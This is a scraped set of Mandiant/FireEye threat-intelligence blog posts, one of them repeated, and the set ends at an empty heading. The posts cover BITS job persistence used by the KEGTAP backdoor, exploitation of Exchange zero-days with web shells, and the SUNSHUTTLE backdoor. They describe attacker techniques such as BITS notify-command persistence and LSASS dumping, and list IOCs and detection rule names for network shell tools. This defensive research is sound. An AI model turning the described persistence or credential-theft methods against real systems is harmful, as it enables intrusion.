In short, yes! Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average. This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days. This means—for the first time in M-Trends history—the median dwell time has dropped to under one month.

Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack. Organizations across the globe must remain vigilant, to prepare for the next incident.

There is much more to unpack in the M-Trends 2021 report. Here is a quick rundown of what to expect:

• By the Numbers: A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more.
• Ransomware: Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat.
• Newly Named Threat Groups: More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion.
• Pandemic-Related Threats: Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19.
• UNC2452/SUNBURST: UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage.
• Case Studies: Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits.

For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape.

Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit. Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends: one that provides an overview of the report and highlights key topics, another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region. Register now!

# Back in a Bit: Attacker Use of the Windows Background Intelligent Transfer Service

31 March 2021 at 15:00
 In this blog post we will describe: How attackers use the Background Intelligent Transfer Service (BITS) Forensic techniques for detecting attacker activity with data format specifications Public release of the BitsParser tool A real-world example of malware using BITS persistence

#### Introduction

Microsoft introduced the Background Intelligent Transfer Service (BITS) with Windows XP to simplify and coordinate downloading and uploading large files. Applications and system components, most notably Windows Update, use BITS to deliver operating system and application updates so they can be downloaded with minimal user disruption.

Applications interact with the Background Intelligent Transfer Service by creating jobs with one or more files to download or upload. The BITS service runs in a service host process and can schedule transfers to occur at any time. Job, file, and state information is stored in a local database.

#### How Attackers Use BITS

As is the case with many technologies, BITS can be used both by legitimate applications and by attackers. When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process. This can be useful for evading firewalls that may block malicious or unknown processes, and it helps to obscure which application requested the transfer. BITS transfers can also be scheduled allowing them to occur at specific times without relying on long-running processes or the task scheduler.

BITS transfers are asynchronous, which can result in situations where the application that created a job may not be running when the requested transfers complete. To address this scenario BITS jobs can be created with a user-specified notification command, which will be executed after the job completes or in case of errors. The notification commands associated with BITS jobs can specify any executable or command to run. Attackers have utilized this feature as a method for maintaining persistence of malicious applications.

Since the command data for BITS jobs is stored to a database rather than traditional registry locations, it can be overlooked by tools that attempt to identify persistence executables and commands or by forensic investigators.

BITS jobs can be created using API function calls or via the bitsadmin command line tool. See Figure 1 and Figure 2 for an example of how a BITS job can be used to download a file and trigger execution.

Figure 1: Using bitsadmin to create a job that downloads a malicious executable and stores it to c:\windows\malware.exe.

Figure 2: Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL.

#### Creating BitsParser

Through our investigations, Mandiant consultants identified evidence of attackers leveraging BITS across multiple campaigns. In order to search for evidence of attacker use of BITS, we needed to understand the underlying infrastructure used by BITS and create a tool that could collect relevant information.

We created BitsParser, which parses BITS databases and returns information about jobs executed on endpoint systems. The tool can be run internally by Mandiant consultants via our endpoint agent allowing BITS data to be acquired from many hosts across an enterprise. BitsParser has been successfully used in many investigations to uncover attacker downloads, uploads, and persistence.

In order to process the custom database format, BitsParser utilizes the open source ANSSI-FR library. The library allows parsing of both active and deleted entries from BITS database files, and it can fully extract relevant information from job and file records.

#### The QMGR Database

BITS jobs and associated state information are stored in local “queue manager” (QMGR) database files in the %ALLUSERSPROFILE%\Microsoft\Network\Downloader directory. The database is stored to files named qmgr0.dat and qmgr1.dat. The two-file scheme appears to be used for back up and synchronization purposes. The second file largely contains duplicate job and file information, though some unique or older entries can be found in the file.

#### Windows 10 Changes

The Background Intelligent Transfer Service has largely remained unchanged since its introduction. However, Windows 10 introduced significant changes to the service, including an all new database format. On Windows 10 the QMGR database is stored using the Extensible Storage Engine (ESE) format. ESE databases have been used in many other Microsoft products including Exchange, Active Directory, and Internet Explorer.

Windows 10 stores the QMGR database in a single file called qmgr.db. Separate transaction log files are maintained in the same directory. The most recent transaction log is stored to a file called edb.log, and three older transaction logs with numerical suffixes are typically present.

#### Parsing ESE Databases

In order to support investigations on Windows 10 systems, we updated the BitsParser tool to support the new QMGR database format. To accomplish this, we needed a Python-based ESE database parser. Research led us to libesedb, which is a full ESE database implementation written in C with a Python wrapper. With no other Python options available, we initially used libesedb in BitsParser to parse the Windows 10 QMGR database. However, we sought a solution that did not rely on native executables and would be more compact for improved efficiency in large scale deployments.

The only pure Python ESE database implementation we identified was part of the Impacket network toolset. Although the source code could perform basic database enumeration, it lacked key features, including the ability to process long values. Since the QMGR database includes entries large enough to require long values, modification of the Impacket implementation was required. We adapted the Impacket ESE database parsing code to make it more robust and support all features necessary for parsing QMGR databases. The full Python solution allows database parsing in a much smaller package without the risks and limitations of native code.

#### Database Structure

The Windows 10 QMGR database contains two tables: Jobs and Files. Both tables have two columns: Id and Blob. The Id contains a GUID to identify the entry, and the Blob contains binary data which defines the job or file. Fortunately, the job and file structures are largely unchanged from the previous database format.

Job data starts with the control structure:

 Offset Field Size 0 Type 4 4 Priority 4 8 State 4 ... 16 Job ID (GUID) 16 32 Name (UTF-16) variable variable Description (UTF-16) variable variable Command (UTF-16) variable variable Arguments (UTF-16) variable variable User SID (UTF-16) variable variable Flags 4

Following the control structure is a list of files delimited by the XFER GUID, {7756DA36-516F-435A-ACAC-44A248FFF34D}. The list begins with a 4-byte file count followed by a list of GUIDs, which correspond to Id values in the Files table.

The file data uses the following structure:

 Field Size Destination Filename (UTF-16) variable Source Filename (UTF-16) variable Temporary Filename (UTF-16) variable Download Size 8 Transfer Size 8 unknown 1 Drive (UTF-16) variable Volume GUID (UTF-16) variable

The database is processed by enumerating entries in the Jobs table, parsing each job data, finding correlated files, and parsing the corresponding records in the Files table. This allows the BitsParser to combine related information and output jobs with their associated files including relevant metadata.

#### Recovering Deleted Records

Active jobs have entries in the Jobs and Files tables. Records are deleted upon job completion or cancellation. As with other filesystem and data formats, deleted entries are not immediately overwritten and can often be recovered for some time after deletion.

The following algorithm is used to recover deleted jobs and files from Windows 10 QMGR databases:

1. Locate file records by searching for the file identifier GUID, {519ECFE4-D946-4397-B73E-268513051AB2}. Attempt to parse the following data as a normal file record.
2. Locate job records by searching for job identifier GUIDs. Attempt to parse the following data as a normal job record. Handle incomplete job entries by parsing just the control structure and manually locate associated files if required.
The following job GUIDs have been observed in QMGR databases:
1. {E10956A1-AF43-42C9-92E6-6F9856EBA7F6}
2. {4CD4959F-7064-4BF2-84D7-476A7E62699F}
3. {A92619F1-0332-4CBF-9427-898818958831}
6. {94416750-0357-461D-A4CC-5DD9990706E4}
3. Correlate carved file records to carved jobs. Process all remaining carved file records that could not be correlated to active or deleted jobs.

Historic records can also be found in transaction log files. Although we do not parse the transaction log structures, the same algorithm can be used to find job and file records within the logs by searching for appropriate GUIDs. While the same records may be present in multiple files, duplicates can be suppressed to prevent output of redundant information.

#### BitsParser Tool Release

At the time of writing we are not aware of any open source tools available to parse BITS databases and extract data useful for incident response and forensic investigations. To help address this and foster further research, FireEye has decided to release a standalone version of BitsParser. This command line utility can process all versions of BITS databases and perform carving to recover deleted job and file information.

Source code for BitsParser can be found at our GitHub page.

Note that on Windows 10 the QMGR database files are opened without sharing by the BITS service thus preventing other programs from directly opening them. When BitsParser is deployed via the FireEye endpoint agent it can directly parse the local filesystem and raw read files in circumstances where they cannot be directly read. The standalone BitsParser does not have this ability. The BITS service should be stopped prior to running BitsParser or third-party tools for copying locked files may be utilized.

#### BITS Persistence in the Wild

In 2020 Mandiant responded to many incidents involving Ryuk ransomware operators leveraging custom backdoors and loaders to actively target hospitals and other medical support centers (see our blog post Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser). Through numerous engagements Mandiant was able to profile the attacker's Tools Techniques and Procedures (TTPs) and identify unique aspects of the various backdoors and loaders that were leveraged prior to encryption. In one such engagement, Mandiant consultants had mapped the vast majority of the attack timeline from initial exploitation to the encryption of corporate resources and an extortion demand. Log analysis and telemetry provided by the customer's on-premises endpoint detection solution led to the identification of a KEGTAP backdoor on an end-user workstation. Mandiant was able to identify the specific email and lure used by the ransomware operators including the download and execution of the file mail.exe, which launched KEGTAP. However, none of the persistence mechanisms that Mandiant observed in other engagements were present on this endpoint.

A full understanding of the persistence mechanism would allow Mandiant to hunt for additional evidence of attacker activity across the environment and in other engagements. As focus intensified, Mandiant consultants identified evidence to indicate that the BITS service launched the KEGTAP backdoor. Analysts identified entries in the Microsoft-Windows-Bits-Client operational event log which associated the BITS service activity with the file mail.exe.

 3 | Information | The BITS service created a new job: System update, with owner REDACTED 61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL. The status code is 2147954429.   64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of http://127.0.0.1/tst/12/. The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.

Figure 3: Event log entries showing the creation of a BITS job for persistence

Mandiant consultants were able to confirm the details of the BITS job by interacting with the host and examining the QMGR database. The malicious BITS job was set to attempt an HTTP transfer of a nonexistent file from the local host. As this file would never exist, BITS would trigger the error state and launch the notify command, which in this case was KEGTAP.

Unfortunately, while this was successful in identifying a previously unknown persistence mechanism associated with this threat group, manual QMGR database analysis would not scale across multiple systems or environments. Adapting the existing BitsParser to parse the Windows 10 version of the QMGR database enabled Mandiant consultants to efficiently identify additional infected systems across multiple environments.

 {     "JobType": "download",     "JobPriority": "normal",     "JobState": "queued",     "JobName": "System update",     "CommandExecuted": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",     "Files": [         {             "DestFile": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",             "SourceURL": "http://127.0.0.1/tst/56/",             "DownloadByteSize": 0         }     ] }

Figure 4: BitsParser output shows the malicious BITS job launching mail.exe

#### Conclusion

The Background Intelligent Transfer Service continues to provide utility to applications and attackers alike. The BITS QMGR database can present a useful source of data in an investigation or hunting operation. BitsParser may be utilized with other forensic tools to develop a detailed view of attacker activity.

# Back in a Bit: Attacker Use of the Windows Background Intelligent Transfer Service

31 March 2021 at 15:00
 In this blog post we will describe: How attackers use the Background Intelligent Transfer Service (BITS) Forensic techniques for detecting attacker activity with data format specifications Public release of the BitsParser tool A real-world example of malware using BITS persistence

#### Introduction

Microsoft introduced the Background Intelligent Transfer Service (BITS) with Windows XP to simplify and coordinate downloading and uploading large files. Applications and system components, most notably Windows Update, use BITS to deliver operating system and application updates so they can be downloaded with minimal user disruption.

Applications interact with the Background Intelligent Transfer Service by creating jobs with one or more files to download or upload. The BITS service runs in a service host process and can schedule transfers to occur at any time. Job, file, and state information is stored in a local database.

#### How Attackers Use BITS

As is the case with many technologies, BITS can be used both by legitimate applications and by attackers. When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process. This can be useful for evading firewalls that may block malicious or unknown processes, and it helps to obscure which application requested the transfer. BITS transfers can also be scheduled allowing them to occur at specific times without relying on long-running processes or the task scheduler.

BITS transfers are asynchronous, which can result in situations where the application that created a job may not be running when the requested transfers complete. To address this scenario BITS jobs can be created with a user-specified notification command, which will be executed after the job completes or in case of errors. The notification commands associated with BITS jobs can specify any executable or command to run. Attackers have utilized this feature as a method for maintaining persistence of malicious applications.

Since the command data for BITS jobs is stored to a database rather than traditional registry locations, it can be overlooked by tools that attempt to identify persistence executables and commands or by forensic investigators.

BITS jobs can be created using API function calls or via the bitsadmin command line tool. See Figure 1 and Figure 2 for an example of how a BITS job can be used to download a file and trigger execution.

Figure 1: Using bitsadmin to create a job that downloads a malicious executable and stores it to c:\windows\malware.exe.

Figure 2: Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL.

#### Creating BitsParser

Through our investigations, Mandiant consultants identified evidence of attackers leveraging BITS across multiple campaigns. In order to search for evidence of attacker use of BITS, we needed to understand the underlying infrastructure used by BITS and create a tool that could collect relevant information.

We created BitsParser, which parses BITS databases and returns information about jobs executed on endpoint systems. The tool can be run internally by Mandiant consultants via our endpoint agent allowing BITS data to be acquired from many hosts across an enterprise. BitsParser has been successfully used in many investigations to uncover attacker downloads, uploads, and persistence.

In order to process the custom database format, BitsParser utilizes the open source ANSSI-FR library. The library allows parsing of both active and deleted entries from BITS database files, and it can fully extract relevant information from job and file records.

#### The QMGR Database

BITS jobs and associated state information are stored in local “queue manager” (QMGR) database files in the %ALLUSERSPROFILE%\Microsoft\Network\Downloader directory. The database is stored to files named qmgr0.dat and qmgr1.dat. The two-file scheme appears to be used for back up and synchronization purposes. The second file largely contains duplicate job and file information, though some unique or older entries can be found in the file.

#### Windows 10 Changes

The Background Intelligent Transfer Service has largely remained unchanged since its introduction. However, Windows 10 introduced significant changes to the service, including an all new database format. On Windows 10 the QMGR database is stored using the Extensible Storage Engine (ESE) format. ESE databases have been used in many other Microsoft products including Exchange, Active Directory, and Internet Explorer.

Windows 10 stores the QMGR database in a single file called qmgr.db. Separate transaction log files are maintained in the same directory. The most recent transaction log is stored to a file called edb.log, and three older transaction logs with numerical suffixes are typically present.

#### Parsing ESE Databases

In order to support investigations on Windows 10 systems, we updated the BitsParser tool to support the new QMGR database format. To accomplish this, we needed a Python-based ESE database parser. Research led us to libesedb, which is a full ESE database implementation written in C with a Python wrapper. With no other Python options available, we initially used libesedb in BitsParser to parse the Windows 10 QMGR database. However, we sought a solution that did not rely on native executables and would be more compact for improved efficiency in large scale deployments.

The only pure Python ESE database implementation we identified was part of the Impacket network toolset. Although the source code could perform basic database enumeration, it lacked key features, including the ability to process long values. Since the QMGR database includes entries large enough to require long values, modification of the Impacket implementation was required. We adapted the Impacket ESE database parsing code to make it more robust and support all features necessary for parsing QMGR databases. The full Python solution allows database parsing in a much smaller package without the risks and limitations of native code.

#### Database Structure

The Windows 10 QMGR database contains two tables: Jobs and Files. Both tables have two columns: Id and Blob. The Id contains a GUID to identify the entry, and the Blob contains binary data which defines the job or file. Fortunately, the job and file structures are largely unchanged from the previous database format.

Job data starts with the control structure:

 Offset Field Size 0 Type 4 4 Priority 4 8 State 4 ... 16 Job ID (GUID) 16 32 Name (UTF-16) variable variable Description (UTF-16) variable variable Command (UTF-16) variable variable Arguments (UTF-16) variable variable User SID (UTF-16) variable variable Flags 4

Following the control structure is a list of files delimited by the XFER GUID, {7756DA36-516F-435A-ACAC-44A248FFF34D}. The list begins with a 4-byte file count followed by a list of GUIDs, which correspond to Id values in the Files table.

The file data uses the following structure:

 Field Size Destination Filename (UTF-16) variable Source Filename (UTF-16) variable Temporary Filename (UTF-16) variable Download Size 8 Transfer Size 8 unknown 1 Drive (UTF-16) variable Volume GUID (UTF-16) variable

The database is processed by enumerating entries in the Jobs table, parsing each job data, finding correlated files, and parsing the corresponding records in the Files table. This allows the BitsParser to combine related information and output jobs with their associated files including relevant metadata.

#### Recovering Deleted Records

Active jobs have entries in the Jobs and Files tables. Records are deleted upon job completion or cancellation. As with other filesystem and data formats, deleted entries are not immediately overwritten and can often be recovered for some time after deletion.

The following algorithm is used to recover deleted jobs and files from Windows 10 QMGR databases:

1. Locate file records by searching for the file identifier GUID, {519ECFE4-D946-4397-B73E-268513051AB2}. Attempt to parse the following data as a normal file record.
2. Locate job records by searching for job identifier GUIDs. Attempt to parse the following data as a normal job record. Handle incomplete job entries by parsing just the control structure and manually locate associated files if required.
The following job GUIDs have been observed in QMGR databases:
1. {E10956A1-AF43-42C9-92E6-6F9856EBA7F6}
2. {4CD4959F-7064-4BF2-84D7-476A7E62699F}
3. {A92619F1-0332-4CBF-9427-898818958831}
6. {94416750-0357-461D-A4CC-5DD9990706E4}
3. Correlate carved file records to carved jobs. Process all remaining carved file records that could not be correlated to active or deleted jobs.

Historic records can also be found in transaction log files. Although we do not parse the transaction log structures, the same algorithm can be used to find job and file records within the logs by searching for appropriate GUIDs. While the same records may be present in multiple files, duplicates can be suppressed to prevent output of redundant information.

#### BitsParser Tool Release

At the time of writing we are not aware of any open source tools available to parse BITS databases and extract data useful for incident response and forensic investigations. To help address this and foster further research, FireEye has decided to release a standalone version of BitsParser. This command line utility can process all versions of BITS databases and perform carving to recover deleted job and file information.

Source code for BitsParser can be found at our GitHub page.

Note that on Windows 10 the QMGR database files are opened without sharing by the BITS service thus preventing other programs from directly opening them. When BitsParser is deployed via the FireEye endpoint agent it can directly parse the local filesystem and raw read files in circumstances where they cannot be directly read. The standalone BitsParser does not have this ability. The BITS service should be stopped prior to running BitsParser or third-party tools for copying locked files may be utilized.

#### BITS Persistence in the Wild

In 2020 Mandiant responded to many incidents involving Ryuk ransomware operators leveraging custom backdoors and loaders to actively target hospitals and other medical support centers (see our blog post Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser). Through numerous engagements Mandiant was able to profile the attacker's Tools Techniques and Procedures (TTPs) and identify unique aspects of the various backdoors and loaders that were leveraged prior to encryption. In one such engagement, Mandiant consultants had mapped the vast majority of the attack timeline from initial exploitation to the encryption of corporate resources and an extortion demand. Log analysis and telemetry provided by the customer's on-premises endpoint detection solution led to the identification of a KEGTAP backdoor on an end-user workstation. Mandiant was able to identify the specific email and lure used by the ransomware operators including the download and execution of the file mail.exe, which launched KEGTAP. However, none of the persistence mechanisms that Mandiant observed in other engagements were present on this endpoint.

A full understanding of the persistence mechanism would allow Mandiant to hunt for additional evidence of attacker activity across the environment and in other engagements. As focus intensified, Mandiant consultants identified evidence to indicate that the BITS service launched the KEGTAP backdoor. Analysts identified entries in the Microsoft-Windows-Bits-Client operational event log which associated the BITS service activity with the file mail.exe.

 3 | Information | The BITS service created a new job: System update, with owner REDACTED 61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL. The status code is 2147954429.   64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of http://127.0.0.1/tst/12/. The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.

Figure 3: Event log entries showing the creation of a BITS job for persistence

Mandiant consultants were able to confirm the details of the BITS job by interacting with the host and examining the QMGR database. The malicious BITS job was set to attempt an HTTP transfer of a nonexistent file from the local host. As this file would never exist, BITS would trigger the error state and launch the notify command, which in this case was KEGTAP.

Unfortunately, while this was successful in identifying a previously unknown persistence mechanism associated with this threat group, manual QMGR database analysis would not scale across multiple systems or environments. Adapting the existing BitsParser to parse the Windows 10 version of the QMGR database enabled Mandiant consultants to efficiently identify additional infected systems across multiple environments.

 {     "JobType": "download",     "JobPriority": "normal",     "JobState": "queued",     "JobName": "System update",     "CommandExecuted": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",     "Files": [         {             "DestFile": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",             "SourceURL": "http://127.0.0.1/tst/56/",             "DownloadByteSize": 0         }     ] }

Figure 4: BitsParser output shows the malicious BITS job launching mail.exe

#### Conclusion

The Background Intelligent Transfer Service continues to provide utility to applications and attackers alike. The BITS QMGR database can present a useful source of data in an investigation or hunting operation. BitsParser may be utilized with other forensic tools to develop a detailed view of attacker activity.

# Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities

4 March 2021 at 22:30

Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. The observed activity included creation of web shells for persistent access, remote code execution, and reconnaissance for endpoint security solutions. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end.

In response to this activity, we built threat hunting campaigns designed to identify additional Exchange Server abuse. We also utilized this data to build higher-fidelity detections of web server process chains. On March 2, 2021, Microsoft released a blog post that detailed multiple zero-day vulnerabilities used to attack on-premises versions of Microsoft Exchange Server. Microsoft also issued emergency Exchange Server updates for the following vulnerabilities:

 CVE Risk Rating Access Vector Exploitability Ease of Attack Mandiant Intel CVE-2021-26855 Critical Network Functional Easy CVE-2021-26857 Medium Network Functional Easy CVE-2021-26858 Medium Network Functional Easy CVE-2021-27065 Medium Network Functional Easy

Table 1: List of March 2021 Microsoft Exchange CVEs and FireEye Intel Summaries

The activity reported by Microsoft aligns with our observations. FireEye currently tracks this activity in three clusters, UNC2639, UNC2640, and UNC2643. We anticipate additional clusters as we respond to intrusions. We recommend following Microsoft’s guidance and patching Exchange Server immediately to mitigate this activity.

Based on our telemetry, we have identified an array of affected victims including US-based retailers, local governments, a university, and an engineering firm. Related activity may also include a Southeast Asian government and Central Asian telecom. Microsoft reported the exploitation occurred together and is linked to a single group of actors tracked as “HAFNIUM”, a group that has previously targeted the US-based defense companies, law firms, infectious disease researchers, and think tanks.

In this blog post, we will detail our observations on the active investigations we are currently performing. As our experience with and knowledge of this threat actor grows, we will update this post or release new technical details as appropriate. For our Managed Defense Customers, we have launched a Community Protection Event that will provide frequent updates on this threat actor and activity.

We will be discussing these attacks more in an upcoming webinar on Mar. 17, 2021.

#### From Exploit to Web Shell

Beginning in January 2021, Mandiant Managed Defense observed the creation of web shells on one Microsoft Exchange server file system within a customer’s environment. The web shell, named help.aspx (MD5: 4b3039cf227c611c45d2242d1228a121), contained code to identify the presence of (1) FireEye xAgent, (2) CarbonBlack, or (3) CrowdStrike Falcon endpoint products and write the output of discovery. Figure 1 provides a snippet of the web shell’s code.

Figure 1: Snippet of the web shell help.aspx, crafted to identify the presence of endpoint security software on a victim system

The web shell was written to the system by the UMWorkerProcess.exe process, which is associated with Microsoft Exchange Server’s Unified Messaging service. This activity suggested exploitation of CVE-2021-26858.

Approximately twenty days later, the attacker placed another web shell on a separate Microsoft Exchange Server. This second, partially obfuscated web shell, named iisstart.aspx (MD5: 0fd9bffa49c76ee12e51e3b8ae0609ac), was more advanced and contained functions to interact with the file system. As seen in Figure 2, the web shell included the ability to run arbitrary commands and upload, delete, and view the contents of files.

Figure 2: Snippet of iisstart.aspx, uploaded by the attacker in late January 2021

While the use of web shells is common amongst threat actors, the parent processes, timing, and victim(s) of these files clearly indicate activity that commenced with the abuse of Microsoft Exchange.

In March 2021, in a separate environment, we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server. This was likely to establish both persistence and secondary access, as in other environments. In this case, Mandiant observed the process w3wp.exe, (the IIS process associated with the Exchange web front-end) spawning cmd.exe to write a file to disk. The file, depicted in Figure 3, matches signatures for the tried-and-true China Chopper.

Figure 3: Snippet of China Chopper web shell found on a compromised Exchange Server system

We observed that in at least two cases, the threat actors subsequently issued the following command against the Exchange web server:

This command attempts to delete the administrator user from the Exchange Organizations administrators group, beginning with the Domain Controller in the current domain. If the system is in a single-system domain, it will execute on the local computer.

Per Microsoft’s blog, they have identified additional post-exploitation activities, including:

• Credential theft via dumping of LSASS process memory.
• Compression of data for exfiltration via 7-Zip.
• Use of Exchange PowerShell Snap-ins to export mailbox data.
• Use of additional offensive security tools Covenant, Nishang, and PowerCat for remote access.

The activity we have observed, coupled with others in the information security industry, indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments. This activity is followed quickly by additional access and persistent mechanisms. As previously stated, we have multiple ongoing cases and will continue to provide insight as we respond to intrusions.

#### Investigation Tips

We recommend checking the following for potential evidence of compromise:

• Child processes of C:\Windows\System32\inetsrv\w3wp.exe on Exchange Servers, particularly cmd.exe.
• Files written to the system by w3wp.exe or UMWorkerProcess.exe.
• ASPX files owned by the SYSTEM user
• New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory
• Reconnaissance, vulnerability-testing requests to the following resources from an external IP address:
• /rpc/ directory
• /ecp/DDI/DDIService.svc/SetObject
• Non-existent resources
• With suspicious or spoofed HTTP User-Agents
• Unexpected or suspicious Exchange PowerShell SnapIn requests to export mailboxes

In our investigations to date, the web shells placed on Exchange Servers have been named differently in each intrusion, and thus the file name alone is not a high-fidelity indicator of compromise.

If you believe your Exchange Server was compromised, we recommend investigating to determine the scope of the attack and dwell time of the threat actor.

Furthermore, as system and web server logs may have time or size limits enforced, we recommend preserving the following artifacts for forensic analysis:

• At least 14 days of HTTP web logs from the inetpub\Logs\LogFiles directories (include logs from all subdirectories)
• The contents of the Exchange Web Server (also found within the inetpub folder)
• At least 14 days of Exchange Control Panel (ECP) logs, located in Program Files\Microsoft\Exchange Server\v15\Logging\ECP\Server
• Microsoft Windows event logs

We have found significant hunting and analysis value in these log folders, especially for suspicious CMD parameters in the ECP Server logs. We will continue updating technical details as we observe more related activity.

#### Technical Indicators

The following are technical indicators we have observed, organized by the threat groups we currently associate with this activity. To increase investigation transparency, we are including a Last Known True, or LKT, value for network indicators. The LKT timestamp indicates the last time Mandiant knew the indicator was associated with the adversary; however, as with all ongoing intrusions, a reasonable time window should be considered.

##### UNC2639
 Indicator Type Note 165.232.154.116 Network: IP Address Last known true: 2021/03/02 02:43 182.18.152.105 Network: IP Address Last known true: 2021/03/03 16:16
##### UNC2640
 Indicator Type MD5 help.aspx File: Web shell 4b3039cf227c611c45d2242d1228a121 iisstart.aspx File: Web shell 0fd9bffa49c76ee12e51e3b8ae0609ac
##### UNC2643
 Indicator Type MD5/Note Cobalt Strike BEACON File: Shellcode 79eb217578bed4c250803bd573b10151 89.34.111.11 Network: IP Address Last known true: 2021/03/03 21:06 86.105.18.116 Network: IP Address Last known true: 2021/03/03 21:39

#### Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of Exchange Server exploitation or post-exploitation activities we associated with these threat actors.

 Platform(s) Detection Name Network Security  Email Security  Detection On Demand  Malware File Scanning  Malware File Storage Scanning FEC_Trojan_ASPX_Generic_2 FE_Webshell_ASPX_Generic_33 FEC_APT_Webshell_ASPX_HEARTSHELL_1 Exploit.CVE-2021-26855 Endpoint Security Real-Time (IOC) SUSPICIOUS CODE EXECUTION FROM EXCHANGE SERVER (EXPLOIT) ASPXSPY WEBSHELL CREATION A (BACKDOOR) PROCDUMP ON LSASS.EXE (METHODOLOGY) TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY) NISHANG POWERSHELL TCP ONE LINER (BACKDOOR) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) POWERSHELL DOWNLOADER (METHODOLOGY) Malware Protection (AV/MG) Trojan.Agent.Hafnium.A Module Coverage [Process Guard] - prevents dumping of LSASS memory using the procdump utility. Helix WINDOWS METHODOLOGY [Unusual Web Server Child Process] MICROSOFT EXCHANGE [Authentication Bypass (CVE-2021-26855)]

# New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452

4 March 2021 at 17:00

#### Executive Summary

• In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository.
• SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities.
• Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.
• Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001).

The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor.

#### Threat Detail

Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.”

• The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511.
• The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise.
• The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.]com” for C2. “Reyweb[.]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs

Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.

Please see FireEye’s resource center for background on UNC2452 and the SUNBURST campaign.

#### Outlook and Implications

The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications. SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools.

#### Technical Annex

